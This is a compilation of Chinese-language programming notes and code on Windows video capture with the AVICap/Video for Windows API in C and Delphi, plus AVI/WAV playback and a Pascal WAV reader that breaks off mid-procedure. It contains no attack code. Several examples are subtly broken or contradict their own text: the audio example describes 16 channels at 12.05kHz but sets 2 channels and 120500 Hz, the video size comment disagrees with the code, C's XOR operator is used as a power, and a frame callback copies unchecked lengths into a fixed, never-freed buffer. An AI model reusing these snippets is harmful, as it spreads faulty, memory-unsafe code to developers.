WORD wDriverCount = 0 ;

WORD wIndex ;

WORD wError ;

HMENU hMenu ;

// Create a capture window using the capCreateCaptureWindow macro.

ghWndCap = capCreateCaptureWindow((LPSTR)"Capture Window",

WS_CHILD | WS_VISIBLE, 0, 0, 160, 120, (HWND) hWnd, (int) 0);

// Register the error callback function using the

// capSetCallbackOnError macro.

capSetCallbackOnError(ghWndCap, fpErrorCallback);

// Register the status callback function using the

// capSetCallbackOnStatus macro.

capSetCallbackOnStatus(ghWndCap, fpStatusCallback);

// Register the video-stream callback function using the

// capSetCallbackOnVideoStream macro.

capSetCallbackOnVideoStream(ghWndCap, fpVideoCallback);

// Register the frame callback function using the

// capSetCallbackOnFrame macro.

capSetCallbackOnFrame(ghWndCap, fpFrameCallback);

// Connect to a capture driver

break;

}

case WM_CLOSE:

{

// Use the capSetCallbackOnFrame macro to

// disable the frame callback. Similar calls exist for the other

// callback functions.

capSetCallbackOnFrame(hWndC, NULL);

break;

}

16.创建一个状态回调函数(Creating a Status Callback Function)

下面的例子是创建一个简单的状态回调函数,登记此回调函数使用capSetCallbackOnStatus宏.

// StatusCallbackProc: status callback function

// hWnd: capture window handle

// nID: status code for the current status

// lpStatusText: status text string for the current status

//

LRESULT PASCAL StatusCallbackProc(HWND hWnd, int nID,

LPSTR lpStatusText)

{

if (!ghWndMain)

return FALSE;

if (nID == 0) { // Clear old status messages.

SetWindowText(ghWndMain, (LPSTR) gachAppName);

return (LRESULT) TRUE;

}

// Show the status ID and status text...

wsprintf(gachBuffer, "Status# %d: %s", nID, lpStatusText);

SetWindowText(ghWndMain, (LPSTR)gachBuffer);

return (LRESULT) TRUE;

}

17.创建一个错误回调函数( Creating an Error Callback Function)

下面的例子是创建一个简单的错误回调函数,登记此回调函数使用capsetCallbackOnError宏:

// ErrorCallbackProc: error callback function

// hWnd: capture window handle

// nErrID: error code for the encountered error

// lpErrorText: error text string for the encountered error

//

LRESULT PASCAL ErrorCallbackProc(HWND hWnd, int nErrID,

LPSTR lpErrorText)

{

if (!ghWndMain)

return FALSE;

if (nErrID == 0) // Starting a new major function.

return TRUE; // Clear out old errors.

// Show the error identifier and text.

wsprintf(gachBuffer, "Error# %d", nErrID);

MessageBox(hWnd, lpErrorText, gachBuffer,

MB_OK | MB_ICONEXCLAMATION);

return (LRESULT) TRUE;

}

18.创建一个框架回调函数(Creating a Frame Callback Function)

登记此回调函数使用capSetCallbackOnFrame宏:

// FrameCallbackProc: frame callback function

// hWnd: capture window handle

// lpVHdr: pointer to struct containing captured

// frame information

//

LRESULT PASCAL FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)

{

if (!ghWndMain)

return FALSE;

wsprintf(gachBuffer, "Preview frame# %ld ", gdwFrameNum++);

SetWindowText(ghWndMain, (LPSTR)gachBuffer);

return (LRESULT) TRUE ;

}

六．将四个标准对话框改成函数调用形式

系统提供了四个标准的对话框：AudioFormat, VideoFormat, VideoSource, Video Compression，但有时程序希望通过函数控制它们，而不是使用系统提供的那个单一的对话框，此时就应该使用函数调用的方法：

AudioFormat对话框

可以通过使用capSetAudioFormat来实现，此时要使用WAVEFORMATEX结构。

例如：改成ＰＣＭ格式，立体声，１６声道，12.05kHz，则：

WAVEFORMATEX audioFormat;

// 确定宽度

acmMetrics(NULL, ACM_METRIC_MAX_SIZE_FORMAT,&dwSize);

dwSize = max (dwSize, capGetAudioFormatSize (m_hwCapCapturing));

// 设置参数

audioFormat.wFormatTag = WAVE_FORMAT_PCM;

audioFormat.nChannels = 2;

audioFormat.nSamplesPerSec = 120500;

audioFormat.wBitsPerSample =16;

audioFormat.nBlockAlign = nBitsPerSample * nChannels / 8;

audioFormat.nAvgBytesPerSec =

audioFormat.nBlockAlign * nSamplesPerSec;

// 更新

capSetAudioFormat(ghCapWnd,&audioFormat,dwSize);

VideoFormat对话框

可以通过使用capSetVideoFormat来实现，此时要使用BITMAPINFOHEADER结构。

例如：设置图片大小为ＲＧＢ２４位岁，大小为２３０Ｘ１６０

BITMAPINFOHEADER bi;

DWORD dwSize,dw;

bi.biSize = sizeof(BITMAPINFOHEADER);

bi.biWidth = 320; // 起作用

bi.biHeight = 160; // 起作用

bi.biPlanes = 1;

bi.biBitCount = 24;

bi.biCompression = BI_RGB;

bi.biSizeImage = 0;

bi.biXPelsPerMeter = 176;

bi.biYPelsPerMeter = 144;

bi.biClrUsed = 0;

bi.biClrImportant = 0;

dwSize = bi.biSize + ((bi.biBitCount > 8 || bi.biClrUsed) ? (bi.biClrUsed * sizeof(PALETTEENTRY)) : (2 ^ bi.biBitCount * sizeof(PALETTEENTRY)));

dw = capSetVideoFormat(m_hwCapCapturing, &bi, dwSize);

VideoSource对话框

没有找到现成的方法，但视频捕获卡提供的ＣＤ里面有一个动态链接库可以实现。

Video Compression对话框

可以通过使用ICOpen,ICInfo等函数联合起来，得到当前系统里面的视频压缩驱动的列表，并可选择其一，ＭＳＤＮ里面有一个程序示范了此用户，程序名叫：ICWalk。

用Delphi开发视频捕获程序

华东地质学院2000级研究生班 342信箱(344000) 杨 锐

--------------------------------------------------------------------------------

在许多关于视频的软件(如视频会议、可视电话等)开发中，都应用了视频捕获技术。微软为软件开发人员提供了一个专门用于视频捕获的VFW (Video for Windows) SDK。VFW SDK为在Windows系统中实现视频捕获提供了标准的接口，从而大大降低了程序的开发难度。由于VFW SDK只有VC和VB版，没有Delphi版，因此需要在Delphi中一一声明DLL中的各个函数和变量（可以参考MSDN中的VC的函数声明以及变量定义）。本文分3部分介绍如何利用VFW在Delphi中开发视频捕获程序。

VFW简介

VFW是微软公司1992年推出的关于数字视频的一个软件包，它能使应用程序通过数字化设备从传统的模拟视频源得到数字化的视频剪辑。VFW的一个关键思想是播放时不需要专用硬件，为了解决数字视频数据量大的问题，需要对数据进行压缩。它引进了一种叫AVI的文件标准，该标准未规定如何对视频进行捕获、压缩及播放，仅规定视频和音频该如何存储在硬盘上，以及在AVI文件中交替存储视频帧和与之相匹配的音频数据。VFW使程序员能通过发送消息或设置属性来捕获、播放和编辑视频剪辑。在Windows 9x系统中,当用户在安装VFW时，安装程序会自动地安装配置视频所需要的组件，如设备驱动程序、视频压缩程序等。

VFW主要由以下6个模块组成：

●AVICAP.DLL：包含执行视频捕获的函数，它给AVI文件的I/O处理和视频、音频设备驱动程序提供一个高级接口；

●MSVIDEO.DLL：包含一套特殊的DrawDib函数，用来处理屏幕上的视频操作；

●MCIAVI.DRV：包括对VFW的MCI命令解释器的驱动程序；

●AVIFILE.DLL：包含由标准多媒体I/O（mmio）函数提供的更高的命令，用来访问.AVI文件；

●压缩管理器（ICM）：用于管理的视频压缩/解压缩的编译码器（Codec）；

●音频压缩管理器ACM：提供与ICM相似的服务，适用于波形音频。

开发步骤

AVICap窗口类支持实时的视频流捕获和单帧捕获，并提供对视频源的控制。虽然MCI也提供数字视频服务(比如它为显示.AVI文件的视频提供了AVI VIDEO命令集)，为视频叠加提供了Overlay命令集，但这些命令主要是基于文件的操作，它们不能满足实时地从视频缓存中取数据的要求， 对于使用没有视频叠加能力的捕获卡的PC机来说， 用MCI提供的命令集是无法捕获视频流的。而AVICap窗口类在捕获视频方面具有一定的优势，它能直接访问视频缓冲区，不需要生成中间文件，实时性很强，效率很高。而且，它还可将数字视频捕获到一个文件中。

1.创建“捕获窗”

在进行视频捕获之前必需要先创建一个“捕获窗”，并以它为基础进行所有的捕获及设置操作。“捕获窗”用AVICap窗口类的“CapCreateCaptureWindow”函数来创建，其窗口风格一般为WS_CHILD和WS_VISIBLE。

捕获窗类似于标准控件（如按钮、列表框等），并具有下列功能：

●将视频流和音频流捕获到一个AVI文件中；

●动态地同视频和音频输入器件连接或断开；

●以Overlay或Preview模式对输入的视频流进行实时显示；

●在捕获时，可指定所用的文件名并能将捕获文件的内容拷贝到另一个文件；

●设置捕获速率；

●显示控制视频源、视频格式、视频压缩的对话框；

●创建、保存或载入调色板；

●将图像和相关的调色板拷贝到剪贴板；

●将捕获的单帧图像保存为DIB格式的文件。

2．关联捕获窗和驱动程序

单独定义的一个捕获窗是不能工作的，它必需与一个设备相关联，这样才能取得视频信号。用函数CapDriverConnect可使一个捕获窗与一个设备驱动程序相关联。

3．设置视频设备的属性

通过设置TcaptureParms结构变量的各个成员变量，可以控制设备的采样频率、中断采样按键、状态行为等等。设置好TCaptureParms结构变量后，可以用函数CapCaptureSetSetup使设置生效。之后还可以用CapPreviewScale、CapPreviewRate来设置预览的比例与速度，也可以直接使用设备的默认值。

4．打开预览

利用函数CapOverlay选择是否采用叠加模式预览，这样占用系统资源小，并且视频显示速度快。然后用CapPreview启动预览功能，这时就可以在屏幕上看到来自摄像机的图像了。

通过以上4步就可以建立一个基本的视频捕获程序。但如果想自已处理从设备捕获到的视频数据，则要使用捕获窗回调函数来处理，比如一帧一帧地获得视频数据或以流的方式获得视频数据等等。

实例编程

下面以一个一帧一帧地从视频设备上捕获视频数据的Delphi程序为例，来说明每个函数的作用以及开发过程。

该程序的功能是可以在屏幕上显视捕获到的视频，并可以获得每一帧的图像数据。

新建一个工程，并将AVICAP32.PAS包含到USES中。

在Form1上放置一个TPanel控件，设Name为“gCapVideoArea”，该控件用于显示视频。再放置两个TButton控件，一个Name为“Openvideo”，另一个Name为“Closevideo”。

定义全局变量：

var

//定义捕获窗句柄

ghCapWnd: THandle;

//可以得到视频数据指针的结构变量，用于回调函数中

VideoStr: LPVIDEOHDR;

//用于设置设备属性的结构变量

CapParms: TCaptureParms;

在Name为“Openvideo”的TButton 的Click事件中写入以下代码：

procedure TForm1.OpenvideoClick(Sender: TObject);

begin

//使用Tpanel控件来创建捕获窗口

ghCapWnd := CapCreateCaptureWindow

( PChar(‘KruwoSoft'), //捕获窗口的名字

WS_CHILD or WS_VISIBLE,//窗口样式

0, //X坐标

0, //Y坐标

gCapVideoArea.Width, //窗口宽

gCapVideoArea.Height, //窗口高

gCapVideoArea.Handle, //窗口句柄

0); //一般为0

{为了能够捕获视频帧，要启动一个捕获帧回调函数VideoStreamCallBack。捕获一个视频流或当前设备状态时分别使用以下函数：

//捕获一个视频流

CapSetCallbackOnVideoStream;

//得到一个设备错误

CapSetCallbackOnError;

//得到一个设备状态

CapSetCallbackOnStatus

}

//定义一个帧捕获回调函数

CapSetCallbackOnFrame (ghCapWnd,LongInt(@VideoStreamCallBack));

//将一个捕获窗口与一个设备驱程相关联，第二个参数是个序号，当系统中装有多个显视驱动程序时，其值分别依次为0到总个数

CapDriverConnect(ghCapWnd, 0);

//设置设备属性的结构变量

CapParms.dwRequestMicroSecPerFrame:=40000;

CapParms.fLimitEnabled := FALSE;

CapParms.fCaptureAudio := FALSE; // NO Audio

CapParms.fMCIControl := FALSE;

CapParms.fYield := TRUE;

CapParms.vKeyAbort := VK_ESCAPE;

CapParms.fAbortLeftMouse := FALSE;

CapParms.fAbortRightMouse := FALSE;

//使设置生效

CapCaptureSetSetup(ghCapWnd,LongInt(@CapParms),sizeof(TCAPTUREPARMS));

//设置预览时的比例

CapPreviewScale(ghCapWnd, 1);

//设置预览时的帧频率

CapPreviewRate(ghCapWnd,66);

//如果要捕获视频流，则要使用函数指定不生成文件。否则将会自动生成AVI文件

CapCaptureSequenceNoFile(ghCapWnd);

//指定是否使用叠加模式，使用为1，否则为0

CapOverlay(ghCapWnd, 1);

//打开预览

CapPreview(ghCapWnd, 1);

end;

在Name为“Closevideo”的TButton 的Click事件中写入以下代码：

procedure TForm1.ClosevideoClick(Sender: TObject);

begin

//停止捕获

capCaptureAbort(ghCapWnd);

//将捕获窗同驱动器断开

capDriverDisconnect(ghCapWnd);

end;

定义捕获帧回调函数：

function FrameCallBack(hWnd:HWND; lpVHdr:LongInt) :LongInt; stdcall;

var

DataPoint:^byte;

DibLen,RectWidth,RectHeight:integer;

begin

//转换从回调函数中得到的指针

VideoStr:=LPVIDEOHDR(lpVHdr);

//得到返回的数据大小

DibLen:=VideoStr^.dwBufferLength;

GetMem(DataPoint,64000);

//将帧数据COPY到一个内存中，注意DATAPOINT要先分配空间

CopyMemory(DataPoint,VideoStr^.lpData,Diblen);

//一些其他处理

……

end;

灵活地使用AVICap窗口类的回调函数可以满足各种不同的需求，但要注意从视频卡中捕获的视频数据的格式和图像的长宽要参考视频卡的参数。而且有些视频卡通过设置可支持多种的格式和图像长宽，所以在还原图像时要注意参考所用的视频卡的参数。

视频采集，存成avi
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel;
OpenVideo: TButton;
CloseVideo: TButton;
GrabFrame: TButton;
SaveBMP: TButton;
StartAVI: TButton;
StopAVI: TButton;
SaveDialog1: TSaveDialog;
procedure FormCreate(Sender: TObject);
procedure OpenVideoClick(Sender: TObject);
procedure CloseVideoClick(Sender: TObject);
procedure GrabFrameClick(Sender: TObject);
procedure SaveBMPClick(Sender: TObject);
procedure StartAVIClick(Sender: TObject);
procedure StopAVIClick(Sender: TObject);
private
{ Private declarations }
hWndC : THandle;
CapturingAVI : bool;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

const WM_CAP_START = WM_USER;
const WM_CAP_STOP = WM_CAP_START + 68;
const WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10;
const WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11;
const WM_CAP_SAVEDIB = WM_CAP_START + 25;
const WM_CAP_GRAB_FRAME = WM_CAP_START + 60;
const WM_CAP_SEQUENCE = WM_CAP_START + 62;
const WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20;

function capCreateCaptureWindowA(lpszWindowName : PCHAR;
dwStyle : longint;
x : integer;
y : integer;
nWidth : integer;
nHeight : integer;
ParentWin : HWND;
nId : integer): HWND;
STDCALL EXTERNAL 'AVICAP32.DLL';

procedure TForm1.FormCreate(Sender: TObject);
begin
CapturingAVI := false;
hWndC := 0;
SaveDialog1.Options :=
[ofHideReadOnly, ofNoChangeDir, ofPathMustExist]
end;

procedure TForm1.OpenVideoClick(Sender: TObject);
begin
hWndC := capCreateCaptureWindowA('My Own Capture Window',
WS_CHILD or WS_VISIBLE ,
Panel1.Left,
Panel1.Top,
Panel1.Width,
Panel1.Height,
Form1.Handle,
0);
if hWndC <> 0 then
SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);
end;

procedure TForm1.CloseVideoClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
hWndC := 0;
end;
end;

procedure TForm1.GrabFrameClick(Sender: TObject);
begin
if hWndC <> 0 then
SendMessage(hWndC, WM_CAP_GRAB_FRAME, 0, 0);
end;

procedure TForm1.SaveBMPClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SaveDialog1.DefaultExt := 'bmp';
SaveDialog1.Filter := 'Bitmap files (*.bmp)|*.bmp';
if SaveDialog1.Execute then
SendMessage(hWndC,
WM_CAP_SAVEDIB,
0,
longint(pchar(SaveDialog1.FileName)));
end;
end;

procedure TForm1.StartAVIClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SaveDialog1.DefaultExt := 'avi';
SaveDialog1.Filter := 'AVI files (*.avi)|*.avi';
if SaveDialog1.Execute then begin
CapturingAVI := true;
SendMessage(hWndC,
WM_CAP_FILE_SET_CAPTURE_FILEA,
0,
Longint(pchar(SaveDialog1.FileName)));
SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);
end;
end;
end;

procedure TForm1.StopAVIClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_STOP, 0, 0);
CapturingAVI := false;
end;
end;

end.


播放Wav文件

 sndrec32 /play /close c:\yourwave.wav


播放AVI文件

function PlayAVIFile(Filename : string; window : hwnd; wait : boolean) :
integer;
var
MCIReturn : array[1..50] of char;
ReturnString : PChar;

begin
ReturnString:=@MCIReturn;
mciSendString(PChar ('open '+Filename+' type AVIVideo alias
myAviFile'),ReturnString,50,0);

if returnString<>'1' then begin Result:=1; exit; end;

  if window<>0 then mciSendString(PChar('window myAviFile
handle
'+inttostr(Window)+' wait'), ReturnString,50,0);
mciSendString('window myAVIFile state show',returnstring,50,0);
mciSendString('seek myAVIFile to start',returnstring,50,0);

if wait=false then
mciSendString('play myAviFile',returnstring,50,0)
else
mciSendString('play myAviFile wait ',returnstring,50,0);

   mciSendString('close
myAviFile',ReturnString,50,0);
result:=0;
end;


将wav转换为raw

Convert Wave format file to Raw data format

Does any body know how to convert a wave format file to raw format. e.g.
I want to strip out any header or encoding mechanism/method which may be
stored or encode in a wave file.
I have a D1/D2 routine that reads WAV files and pulls out raw data, but it doesn't decompress using the various forms of compression.

--------------------------------------------------------------------------------

unit LinearSystem;

interface

{============== WAV Format Coding Type ==================}
type WAVHeader = record
nChannels : Word;
nBitsPerSample : LongInt;
nSamplesPerSec : LongInt;
nAvgBytesPerSec : LongInt;
RIFFSize : LongInt;
fmtSize : LongInt;
formatTag : Word;
nBlockAlign : LongInt;
DataSize : LongInt;
end;

{============== Sample DataStreams ========================}
const MaxN =
300;  { max number of sample values }
type  SampleIndex = 0 ..
MaxN+3;
type  DataStream = array[ SampleIndex ] of Real;

var N : SampleIndex;

{============== Observation Variables ======================}
type Observation = record
Name : String[40]; {Name of this observation}
yyy : DataStream; {Array of data points}
WAV : WAVHeader; {WAV specs for observation}
Last : SampleIndex;{Last valid index to yyy}
MinO, MaxO : Real; {Range values from yyy}
end;

var K0R, K1R, K2R, K3R : Observation;
K0B, K1B, K2B, K3B : Observation;

{================== File Name Variables
===================}
var   StandardDatabase : String[ 80
];
BaseFileName     :
String[ 80 ];
StandardOutput   :
String[ 80 ];
StandardInput
: String[ 80 ];

{=============== Operations ==================}
procedure ReadWAVFile (var
Ki, Kj : Observation);
procedure WriteWAVFile(var Ki, Kj :
Observation);
procedure ScaleData   (var Kk
: Observation);
procedure InitAllSignals;
procedure InitLinearSystem;

implementation
{$R *.DFM}
uses VarGraph, SysUtils;

{================== Standard WAV File Format ===================}
const MaxDataSize : LongInt = (MaxN+1)*2*2;
const MaxRIFFSize : LongInt = (MaxN+1)*2*2+36;
const StandardWAV : WAVHeader = (
nChannels : Word(2);
nBitsPerSample : LongInt(16);
nSamplesPerSec : LongInt(8000);
nAvgBytesPerSec : LongInt(32000);
RIFFSize : LongInt((MaxN+1)*2*2+36);
fmtSize : LongInt(16);
formatTag : Word(1);
nBlockAlign : LongInt(4);
DataSize : LongInt((MaxN+1)*2*2)
);

{================== Scale Observation Data ===================}

procedure ScaleData(var Kk : Observation);
var I :
SampleIndex;
begin
{Initialize the scale
values}
Kk.MaxO := Kk.yyy[0];
Kk.MinO := Kk.yyy[0];

{Then scan for any higher or lower values}
for I := 1 to Kk.Last do
begin
if Kk.MaxO < Kk.yyy[I] then Kk.MaxO := Kk.yyy[I];
if Kk.MinO > Kk.yyy[I] then Kk.MinO := Kk.yyy[I];
end;
end; { ScaleData }

procedure ScaleAllData;
begin
ScaleData(K0R);
ScaleData(K0B);
ScaleData(K1R);
ScaleData(K1B);
ScaleData(K2R);
ScaleData(K2B);
ScaleData(K3R);
ScaleData(K3B);
end; {ScaleAllData}

{================== WAV Data I/O ===================}

VAR InFile, OutFile : file of Byte;

type Tag = (F0, T1, M1);
type FudgeNum = record
case X:Tag of
F0 : (chrs : array[0..3] of Byte);
T1 : (lint : LongInt);
M1 : (up,dn: Integer);
end;
var ChunkSize : FudgeNum;

procedure WriteChunkName(Name:String);
var i  :
Integer;
MM : Byte;
begin
for i := 1 to
4 do
begin
MM :=
ord(Name[i]);
write(OutFile,MM);
end;
end; {WriteChunkName}

procedure WriteChunkSize(LL:Longint);
var I :
integer;
begin
ChunkSize.x:=T1;
ChunkSize.lint:=LL;
ChunkSize.x:=F0;
for I := 0
to 3 do Write(OutFile,ChunkSize.chrs[I]);
end;

procedure WriteChunkWord(WW:Word);
var I :
integer;
begin
ChunkSize.x:=T1;
ChunkSize.up:=WW;
ChunkSize.x:=M1;
for I := 0 to
1 do Write(OutFile,ChunkSize.chrs[I]);
end; {WriteChunkWord}

procedure WriteOneDataBlock(var Ki, Kj : Observation);
var I : Integer;
begin
ChunkSize.x:=M1;
with Ki.WAV do
begin
case nChannels of
1:if nBitsPerSample=16
then begin {1..2 16-bit samples in buffer for one channel}
ChunkSize.up := trunc(Ki.yyy[N]+0.5);
if N<MaxN then ChunkSize.dn := trunc(Ki.yyy[N+1]+0.5);
N := N+2;
end
else begin {1..4 8-bit samples in buffer for one channel}
for I:=0 to 3 do ChunkSize.chrs[I]
:= trunc(Ki.yyy[N+I]+0.5);
N := N+4;
end;
2:if nBitsPerSample=16
then begin {2 16-bit samples on two channels}
ChunkSize.dn := trunc(Ki.yyy[N]+0.5);
ChunkSize.up := trunc(Kj.yyy[N]+0.5);
N := N+1;
end
else begin {4 8-bit samples on two channels}
ChunkSize.chrs[1] := trunc(Ki.yyy[N]+0.5);
ChunkSize.chrs[3] := trunc(Ki.yyy[N+1]+0.5);
ChunkSize.chrs[0] := trunc(Kj.yyy[N]+0.5);
ChunkSize.chrs[2] := trunc(Kj.yyy[N+1]+0.5);
N := N+2;
end;
end; {with WAV do begin..}
end; {the four-byte variable "ChunkSize" has now been filled}

   ChunkSize.x:=T1;
WriteChunkSize(ChunkSize.lint);{put 4 bytes of data}
end;
{WriteOneDataBlock}

procedure WriteWAVFile(var Ki, Kj : Observation);
var MM : Byte;
I : Integer;
OK : Boolean;
begin
{Prepare to write a file of data}
AssignFile(OutFile, StandardOutput); { File selected in dialog }
ReWrite( OutFile );
With Ki.WAV do
begin DataSize := nChannels*(nBitsPerSample div 8)*(Ki.Last+1);
RIFFSize := DataSize+36;
fmtSize := 16;
end;

{Write ChunkName "RIFF"}
WriteChunkName('RIFF');

{Write ChunkSize}
WriteChunkSize(Ki.WAV.RIFFSize);

{Write ChunkName "WAVE"}
WriteChunkName('WAVE');

{Write tag "fmt_"}
WriteChunkName('fmt ');

{Write ChunkSize}
Ki.WAV.fmtSize := 16; {should be 16-18}
WriteChunkSize(Ki.WAV.fmtSize);

    {Write  formatTag,
nChannels}
WriteChunkWord(Ki.WAV.formatTag);
WriteChunkWord(Ki.WAV.nChannels);

{Write nSamplesPerSec}
WriteChunkSize(Ki.WAV.nSamplesPerSec);

{Write nAvgBytesPerSec}
WriteChunkSize(Ki.WAV.nAvgBytesPerSec);

    {Write  nBlockAlign,
nBitsPerSample}
WriteChunkWord(Ki.WAV.nBlockAlign);
WriteChunkWord(Ki.WAV.nBitsPerSample);

{WriteDataBlock tag "data"}
WriteChunkName('data');

{Write DataSize}
WriteChunkSize(Ki.WAV.DataSize);

N:=0; {first write-out location}
while N<=Ki.Last do WriteOneDataBlock(Ki,Kj); {put 4 bytes & increment N}

{Free the file buffers}
CloseFile( OutFile );
end; {WriteWAVFile}

procedure InitSpecs;
begin
end; { InitSpecs }

procedure InitSignals(var Kk : Observation);
var J :
Integer;
begin
for J := 0 to MaxN do Kk.yyy[J] :=
0.0;
Kk.MinO := 0.0;
Kk.MaxO :=
0.0;
Kk.Last := MaxN;
end; {InitSignals}

procedure InitAllSignals;
begin
InitSignals(K0R);
InitSignals(K0B);
InitSignals(K1R);
InitSignals(K1B);
InitSignals(K2R);
InitSignals(K2B);
InitSignals(K3R);
InitSignals(K3B);
end; {InitAllSignals}

var ChunkName : string[4];

procedure ReadChunkName;
var I  : integer;
MM :
Byte;
begin
ChunkName[0]:=chr(4);
for I := 1 to 4
do
begin
Read(InFile,MM);
ChunkName[I]:=chr(MM);
end;
end;
{ReadChunkName}

procedure ReadChunkSize;
var I  : integer;
MM :
Byte;
begin
ChunkSize.x :=
F0;
ChunkSize.lint := 0;
for I := 0 to 3 do
begin
Read(InFile,MM);
ChunkSize.chrs[I]:=MM;
end;
ChunkSize.x := T1;
end; {ReadChunkSize}

procedure ReadOneDataBlock(var Ki,Kj:Observation);
var I : Integer;
begin
if N<=MaxN then
begin
ReadChunkSize; {get 4 bytes of data}
ChunkSize.x:=M1;
with Ki.WAV do
case nChannels of
1:if nBitsPerSample=16
then begin {1..2 16-bit samples in buffer for one channel}
Ki.yyy[N] :=1.0*ChunkSize.up;
if N<MaxN then Ki.yyy[N+1]:=1.0*ChunkSize.dn;
N := N+2;
end
else begin {1..4 8-bit samples in buffer for one channel}
for I:=0 to 3 do Ki.yyy[N+I]:=1.0*ChunkSize.chrs[I];
N := N+4;
end;
2:if nBitsPerSample=16
then begin {2 16-bit samples on two channels}
Ki.yyy[N]:=1.0*ChunkSize.dn;
Kj.yyy[N]:=1.0*ChunkSize.up;
N := N+1;
end
else begin {4 8-bit samples on two channels}
Ki.yyy[N] :=1.0*ChunkSize.chrs[1];
Ki.yyy[N+1]:=1.0*ChunkSize.chrs[3];
Kj.yyy[N] :=1.0*ChunkSize.chrs[0];
Kj.yyy[N+1]:=1.0*ChunkSize.chrs[2];
N := N+2;
end;
end;
if N<=MaxN then begin {LastN := N;}
Ki.Last := N;
if Ki.WAV.nChannels=2 then Kj.Last := N;
end
else begin {LastN := MaxN;}
Ki.Last := MaxN;
if Ki.WAV.nChannels=2 then Kj.Last := MaxN;
end;
end;
end; {ReadOneDataBlock}

procedure ReadWAVFile(var Ki, Kj :Observation);
var MM : Byte;
I : Integer;
OK : Boolean;
NoDataYet : Boolean;
DataYet : Boolean;
nDataBytes : LongInt;
begin
if FileExists(StandardInput)
then
with Ki.WAV do
begin { Bring up open file dialog }
OK := True; {unless changed somewhere below}
{Prepare to read a file of data}
AssignFile(InFile, StandardInput); { File selected in dialog }
Reset( InFile );

{Read ChunkName "RIFF"}
ReadChunkName;
if ChunkName<>'RIFF' then OK := False;

{Read ChunkSize}
ReadChunkSize;
RIFFSize := ChunkSize.lint; {should be 18,678}

{Read ChunkName "WAVE"}
ReadChunkName;
if ChunkName<>'WAVE' then OK := False;

{Read ChunkName "fmt_"}
ReadChunkName;
if ChunkName<>'fmt ' then OK := False;

{Read ChunkSize}
ReadChunkSize;
fmtSize := ChunkSize.lint; {should be 18}

{Read formatTag, nChannels}
ReadChunkSize;
ChunkSize.x := M1;
formatTag := ChunkSize.up;
nChannels := ChunkSize.dn;

{Read nSamplesPerSec}
ReadChunkSize;
nSamplesPerSec := ChunkSize.lint;

{Read nAvgBytesPerSec}
ReadChunkSize;
nAvgBytesPerSec := ChunkSize.lint;

    {Read  nBlockAlign}
ChunkSize.x := F0;
ChunkSize.lint :=
0;
for I := 0 to 3 do
begin
Read(InFile,MM);
ChunkSize.chrs[I]:=MM;
end;
ChunkSize.x := M1;
nBlockAlign := ChunkSize.up;

    {Read  nBitsPerSample}
nBitsPerSample := ChunkSize.dn;
for I := 17 to
fmtSize do Read(InFile,MM);

NoDataYet := True;
while NoDataYet do
begin
{Read tag "data"}
ReadChunkName;

{Read DataSize}
ReadChunkSize;
DataSize := ChunkSize.lint;

if ChunkName<>'data' then
begin
for I := 1 to DataSize do {skip over any nondata stuff}
Read(InFile,MM);
end
else NoDataYet := False;
end;

     nDataBytes := DataSize;
{Finally, start reading data for nDataBytes bytes}
if nDataBytes>0 then DataYet := True;
N:=0;
{first read-in location}
while DataYet
do
begin
ReadOneDataBlock(Ki,Kj);
{get 4 bytes}
nDataBytes :=
nDataBytes-4;
if nDataBytes<=4
then DataYet := False;
end;

    ScaleData(Ki);
if
Ki.WAV.nChannels=2
then begin Kj.WAV :=
Ki.WAV;
ScaleData(Kj);
end;
{Free the file buffers}
CloseFile( InFile );
end
else
begin
InitSpecs;{file
does not exist}
InitSignals(Ki);{zero "Ki"
array}
InitSignals(Kj);{zero "Kj" array}
end;
end; { ReadWAVFile }

{================= Database Operations ====================}

const MaxNumberOfDataBaseItems = 360;
type  SignalDirectoryIndex = 0
.. MaxNumberOfDataBaseItems;

VAR DataBaseFile : file of Observation;
LastDataBaseItem : LongInt; {Current number of database items}
ItemNameS : array[SignalDirectoryIndex] of String[40];

procedure GetDatabaseItem( Kk : Observation; N : LongInt );
begin
if N<=LastDataBaseItem
then begin
Seek(DataBaseFile, N);
Read(DataBaseFile, Kk);
end
else InitSignals(Kk);
end; {GetDatabaseItem}

procedure PutDatabaseItem( Kk : Observation; N : LongInt );
begin
if N<MaxNumberOfDataBaseItems
then
if N<=LastDataBaseItem
then begin
Seek(DataBaseFile, N);
Write(DataBaseFile, Kk);
LastDataBaseItem := LastDataBaseItem+1;
end
else while LastDataBaseItem<=N do
begin
Seek(DataBaseFile, LastDataBaseItem);
Write(DataBaseFile, Kk);
LastDataBaseItem := LastDataBaseItem+1;
end
else ReportError(1); {Attempt to read beyond MaxNumberOfDataBaseItems}
end; {PutDatabaseItem}

procedure InitDataBase;
begin
LastDataBaseItem := 0;
if FileExists(StandardDataBase)
then
begin
Assign(DataBaseFile,StandardDataBase);
Reset(DataBaseFile);
while not EOF(DataBaseFile) do
begin
GetDataBaseItem(K0R, LastDataBaseItem);
ItemNameS[LastDataBaseItem] := K0R.Name;
LastDataBaseItem := LastDataBaseItem+1;
end;
if EOF(DataBaseFile)
then if LastDataBaseItem>0
then LastDataBaseItem := LastDataBaseItem-1;
end;
end; {InitDataBase}

function FindDataBaseName( Nstg : String ):LongInt;
var ThisOne : LongInt;
begin
ThisOne := 0;
FindDataBaseName := -1;
while ThisOne<LastDataBaseItem do
begin
if Nstg=ItemNameS[ThisOne]
then begin
FindDataBaseName := ThisOne;
Exit;
end;
ThisOne := ThisOne+1;
end;
end; {FindDataBaseName}

{======================= Init Unit ========================}
procedure InitLinearSystem;
begin
BaseFileName := '\PROGRA~1\SIGNAL~1\';
StandardOutput := BaseFileName + 'K0.wav';
StandardInput := BaseFileName + 'K0.wav';

